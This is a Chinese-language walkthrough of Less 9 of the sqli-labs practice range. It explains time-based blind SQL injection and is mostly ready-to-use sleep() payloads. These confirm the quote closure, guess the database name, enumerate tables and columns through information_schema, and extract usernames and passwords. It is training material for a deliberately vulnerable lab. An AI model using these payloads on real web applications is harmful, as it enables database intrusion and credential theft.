文章目录
- sqli-labs靶场
- less 9 时间盲注
sqli-labs靶场
每道题都从以下模板讲解,并且每个步骤都有图片,清晰明了,便于复盘。
sql注入的基本步骤
- 注入点
- 注入类型
- 字符型:判断闭合方式 (‘、"、’'、“”)
- 数字型
- 根据实际情况,选择合适的注入方式
- 获取数据库名,表名,列名,数据
less 9 时间盲注
- 题目类型:
这道题无回显,无报错,无真假页面,尝试考虑时间注入
判断闭合方式
直接使用单双引号括号等测试,页面无变化。在测试符号后面添加and sleep(3) --+,如果成功闭合前面的语句,则会执行sleep(3),利用延时注入的原理判断闭合方式
id=1’ and sleep(3) --+
构造轮子
id=1’ and if(1=1,sleep(3),sleep(1))–+
id=1’ and if(1=2,sleep(3),sleep(1))–+
猜解数据库长度:
id=1’ and if(length(database())=8,sleep(3),sleep(1))–+
猜解数据库名字:
id=1’ and if(mid((select database()),1,1)=‘a’,sleep(3),sleep(1))–+
报所有表的长度与所有表名 由于使用了group_concat,记得添加逗号(,)
id=1’ and if(length((select group_concat(table_name) from information_schema.tables where table_schema=‘security’))=29,sleep(2),sleep(1))–+
id=1’ and if(mid((select group_concat(table_name) from information_schema.tables where table_schema=‘security’),1,1)=‘a’,sleep(2),sleep(1))–+
报users表中字段的长度与字段名–记得添加逗号(,):
id=1’ and if(length((select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’))=20,sleep(2),sleep(1))–+
id=1’ and if(mid((select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),1,1)=‘a’,sleep(2),sleep(1))–+
报users表中username与password–记得添加逗号(,):
id=1’ and if(length((select concat(username,password) from security.users limit 7,1))=10,sleep(2),sleep(1))–+
id=1’ and if(mid((select concat(username,password) from security.users limit 7,1),1,1)=‘a’,sleep(2),sleep(1))–+